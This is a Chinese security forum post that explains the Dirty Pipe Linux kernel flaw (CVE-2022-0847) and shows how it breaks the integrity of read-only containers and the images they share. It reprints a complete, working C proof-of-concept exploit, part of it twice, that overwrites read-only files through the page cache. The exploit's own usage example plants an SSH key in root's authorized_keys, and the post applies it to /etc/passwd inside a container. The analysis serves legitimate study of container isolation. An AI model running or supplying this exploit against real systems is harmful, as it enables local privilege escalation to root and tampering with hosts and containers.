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[原创]CVE-2022-0847：脏管道漏洞对容器的影响
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发表于: 2022-6-30 10:58
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2022年2月23日, Linux内核发布漏洞补丁, 修复了内核5.8及之后版本存在的任意文件覆盖的漏洞(CVE-2022-0847), 该漏洞可导致普通用户本地提权至root特权, 因为与之前出现的DirtyCow(CVE-2016-5195)漏洞原理类似, 该漏洞被命名为DirtyPipe。
漏洞简要原理是，调用splice() 函数可以通过"零拷贝"的形式将文件发送到pipe，代码层面的零拷贝是直接将文件缓存页(page cache)作为pipe 的buf页使用。但这里引入了一个变量未初始化漏洞，导致文件缓存页会在后续pipe 通道中被当成普通pipe缓存页而被"续写"进而被篡改。然而，在这种情况下，内核并不会将这个缓存页判定为"脏页"，短时间内(到下次重启之类的)不会刷新到磁盘。在这段时间内所有访问该文件的场景都将使用被篡改的文件缓存页，也就达成了一个"短时间内对任意可读文件任意写"的操作。网上已经有对该漏洞的详细分析，本文不在详细介绍其原理，只做一些简单介绍，具体的关于漏洞的发现细节以及原理可参考以下几篇文章：
漏洞披露：https://dirtypipe.cm4all.com/
CVE-2022-0847 Dirty Pipe linux内核提权分析：https://github.com/chenaotian/CVE-2022-0847
管道
该漏洞别名为脏管道漏洞，管道（pipe）是Linux内核提供的一个进程间通信的方式。 通过pipe/pipe2 函数创建，返回两个文件描述符，一个用于发送数据，另一个用于接受数据，类似管道的两段 。 管道实现的源代码在fs/pipe.c中，在pipe.c中有很多函数，其中有两个函数比较重要，管道读函数pipe_read()和管道写函数pipe_wrtie() ，这里简要介绍以下pipe_write()。
Linux-5.13\fs\pipe.c : 400 : pipe_write()
在使用pipe_write()函数向管道中写入时，会判断当前页面是否带有 PIPE_BUF_FLAG_CAN_MERGE flag标记，如果不存在则不允许在当前页面续写， buf->flag 默认初始化为PIPE_BUF_FLAG_CAN_MERGE ，因为默认状态是允许页可以续写的 。
Splice()
CPU管理的最小内存单位是一个页面(Page), 一个页面通常为4kB大小, linux内存管理的最底层的一切都是关于页面的, 文件IO也是如此, 如果程序从文件中读取数据, 内核将先把它从磁盘读取到专属于内核的页面缓存(Page Cache)中, 后续再把它从内核区域复制到用户程序的内存空间中;
如果每一次都把文件数据从内核空间拷贝到用户空间, 将会拖慢系统的运行速度, 也会额外消耗很多内存空间, 所以出现了splice()系统调用, 它的任务是从文件中获取数据并写入管道中, 期间一个特殊的实现方式便是: 目标文件的页面缓存数据不会直接复制到Pipe的环形缓冲区内, 而是以索引的方式(即 内存页框地址、偏移量、长度 所表示的一块内存区域)复制到了pipe_buffer的结构体中, 如此就避免了从内核空间向用户空间的数据拷贝过程, 所以被称为”零拷贝”。
漏洞披露中给出了利用的poc：
从POC的角度可以看到漏洞利用的过程：
将该exp保存到本地编译，运行，可以成功触发。该漏洞 由linux 5.8 补丁 f6dd975583bd 引入~ 5.16.11、5.15.25、5.10.102 修复 ，处于中间阶段的内核版本可以触发该漏洞。触发必须要求文件有可读权限，且该漏洞写入时不能改变其文件大小。下图可以看到，在没有可写权限的情况下修改了testfile中的内容。 只要挑选合适的目标文件, 利用漏洞Patch掉关键字段数据, 即可完成从普通用户到root用户的权限提升。
前段时间的一个帖子记录了对Docker镜像进行逆向的过程， 容器镜像基本上是由一组相互重叠的层组成的。当容器启动时，运行时引擎（Docker、containerD、cri-O 等）将这些层合并在一起，并将生成的联合文件系统传递给进程。这些层始终是只读的，任何在容器中的操作都是都是在读写层中完成的，该层是使用写时复制 (COW)模式专门为每个容器实例创建的。这个读写层是暂时的层，当把容器停止运行时，该层会容器系统中删除。 通过以只读模式（ --read-only ）启动容器可以省略读写层，从而有效地保护容器文件系统的完整性不会被攻击者破坏。
但是由于容器共享linux内核的缘故，容器并不能屏蔽内核漏洞，利用脏管道漏洞，可以几乎对任何文件系统进行修改，包括容器镜像。下面实验演示了如何利用脏管道漏洞对容器镜像的完整性进行破环。利用上述的exp，使用下列Dockerfile构建一个镜像，该镜像创建了一个非特权用户foo，并将exp复制到镜像中。
Build 成功后的镜像
当使用只读模式启动容器时，是不能对容器的文件系统进行任何修改的，如下图。
接下来运行exp 对容器中的/etc/passwd尝试进行修改，默认情况下，该文件是只读的，且只有root用户有权限进行更改。
然后退出该容器，再根据该镜像重新启动一个容器，可以发现在重新启动的容器中的passwd文件也已经被更改，证明该镜像已经被持续的更改。但该更改并不是永久性的，短时间内的新建容器会出现这种情况。
在多个同一基础镜像容器同时启动的情况下，由于共享基础镜像，在某一容器中该漏洞的触发会波及到其他容器。下图演示了在其中一个只读容器中更改文件内容后，其他容器的文件系统也跟着发生了变化。
这就是容器的隔离性远不如虚拟机的地方，容器被称作为一种轻量级的操作系统虚拟化，多个容器与宿主据共享一个内核，这就导致了首先容器无法隔离宿主机出现的内核漏洞，一旦内核出了问题，很容器出现容器逃逸的情况；其次同一宿主机的容器之间的隔离性也不强，容器与容器之间很容器出现隐蔽通道、信息泄露的问题。
漏洞披露：
https://dirtypipe.cm4all.com/
breeze漏洞分析
https://github.com/chenaotian/CVE-2022-0847
脏管道漏洞与容器
https://snyk.io/blog/dirty-pipe-vulnerability-cve-2022-0847-containerized-applications/
......if (chars && !was_empty) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
/*关键，如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在，代表该页允许接着写
*如果写入长度不会跨页，则接着写，否则直接另起一页 */
ret = pipe_buf_confirm(pipe, buf);
···
ret = copy_page_from_iter(buf->page, offset, chars, from);
···
}
buf->len += ret;
···
}
}
.........if (chars && !was_empty) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
/*关键，如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在，代表该页允许接着写
*如果写入长度不会跨页，则接着写，否则直接另起一页 */
ret = pipe_buf_confirm(pipe, buf);
···
ret = copy_page_from_iter(buf->page, offset, chars, from);
···
}
buf->len += ret;
···
}
}
.../* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE#include <unistd.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/stat.h>#include <sys/user.h>#ifndef PAGE_SIZE#define PAGE_SIZE 4096#endif/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{ if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}int main(int argc, char **argv)
{ if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE#include <unistd.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/stat.h>#include <sys/user.h>#ifndef PAGE_SIZE#define PAGE_SIZE 4096#endif/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{ if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
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